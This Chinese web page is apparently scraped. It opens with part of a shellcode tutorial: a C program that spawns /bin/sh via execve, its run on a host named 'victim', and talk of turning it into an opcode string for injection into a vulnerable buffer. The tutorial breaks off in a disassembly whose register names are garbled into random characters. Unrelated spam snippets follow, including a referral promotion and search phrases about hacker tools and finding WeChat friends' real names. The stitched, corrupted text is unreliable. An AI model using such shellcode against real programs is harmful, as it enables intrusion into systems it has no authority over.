如何执行 /bin/sh?
在C中,spawn出一个shell的代码可能象这样:
shell.c :
#include
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
[murat@victim murat]$ make shell
cc -W -Wall -pedantic -g shell.c -o shell
[murat@victim murat]$ ./shell
bash$
如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。
目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!
这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。
因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。
首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个 *** ,execve系统调用也将被反汇编)然后看:
[murat@victim murat]$ gcc -static -g -o shell shell.c
[murat@victim murat]$ objdump -d shell | grep \: -A 12
0804ca10 :
804ca10: 53 pushl 離
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
804ca1d: b8 0b 00 00 00 movl $0xb,陎
804ca22: cd 80 int $0x80
804ca24: 5b popl 離
804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎
804ca2a: 0f 83 00 02 00 jae 804cc30
易米小店是支付宝里的一个生活服务号,主要功能是购物返利,现在有个约请密友送现金红包流动对照粗暴,亲测邀自己同名小号也可以,约请一小我私家头0.2-2米,提现秒到支付宝!新人另有0米购,一些数据线,手机...
机器猫应该是很多人都很喜欢的卡通动漫角色了,大伙儿毫无疑问都要想机器猫的宝盒,在大家的印像中一直认为机器猫是深蓝色的,实际上并不是这样。那麼机器猫是什么颜色的呢?下边我产生:机器猫本来并不是深蓝色代表...
如果你还没有放弃拯救自己肚子上的游泳圈,提到AfterShokz韶音这个品牌,自然不会陌生。如今这个品牌在运动圈里可谓风头正盛:年初官宣世界马拉松第一人基普乔格成为他家的品牌代言人,加上之前的环法四冠...
APP运营最重要的四点:拉新、留存、促活、营收,想要做好APP运营推广,首先这四点必须要熟悉。 随着APP行业的不断发展,开发APP只是完成了第一步,之后还需要对APP进行运营推广,这个过程需要...
大家都了解iPhone的质保对策是,从手机激活之日算,质保一年,大家从官方网方式打苹果售后获得的回应是那样,没有错的确从激话之日起算质保,质保一年。 今日大家来谈一个特殊情况,我买了iPhone...
2019黑客工具哪里找相关问题 黑客专用软件手机版相关问题 黑客如何定位和追踪 怎么看到微信好友的真实姓名(qq好友姓名查询软件)...